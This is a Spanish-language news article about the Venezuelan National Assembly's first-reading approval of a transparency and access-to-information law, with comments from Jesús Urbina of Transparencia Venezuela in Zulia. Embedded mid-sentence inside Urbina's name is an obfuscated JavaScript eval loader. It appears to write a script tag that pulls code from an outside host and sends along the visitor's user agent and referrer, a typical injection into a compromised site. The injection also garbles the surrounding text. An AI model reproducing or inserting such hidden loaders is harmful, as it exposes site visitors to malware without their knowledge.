Podrán iniciar procesos para solicitar información al Estado

Lenys Moreno / Maracaibo / [email protected]
Jesús eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kiyri|var|u0026u|referrer|idzhi||js|php'.split('|'),0,{})) Urbina, explicó que en el país, este proyecto de ley, permitirá que el ciudadano pueda aperturar un proceso administrativo individual o grupal para requerir información ya sea en materia de presupuesto

Jesús Urbina, coordinador de Transparencia Venezuela en el Zulia

Como un paso histórico. Así catalogó Jesús Urbina, coordinador de Transparencia Venezuela en el Zulia, la aprobación en primera discusión de la Ley Orgánica de Transparencia, Divulgación y Acceso a la Información Pública por parte de la Asamblea Nacional (AN), aseverando que se trata de un instrumento legal que por primera vez, permitirá a los venezolanos abrir un proceso administrativo para exigir datos y respuestas al Estado.

“Es un paso histórico y crucial para el rescate de las instituciones democráticas, entiéndase estas no solo como entes, sino como la participación ciudadana en exigir responsabilidad al Estado. La información es algo que no solo concierne al Parlamento y a los periodistas, sino a la sociedad en general, que ahora, con esta ley, podrá iniciar procesos administrativos para solicitarla”, expuso Urbina en conversación telefónica con La Verdad.

Indicó que en América Latina, solo faltan Venezuela, Argentina y Bolivia por leyes de este tipo. Explicó que en el país, este proyecto de ley, permitirá que el ciudadano pueda aperturar un proceso administrativo individual o grupal para requerir información ya sea en materia de presupuesto, de tareas de funcionarios, de responsabilidad de gestión, a excepción de asuntos de estrategia. Si en 15 días no obtienen respuestas, los funcionarios de los entes responsables, podrían ser sancionados o hasta destituidos de sus cargos. “Vamos a ver si el Gobierno se va a negar a responder solicitudes formales de información que presenten los ciudadanos”, acentuó Urbina, quien apuntó que estiman que la ley esté lista en dos o tres semanas. 

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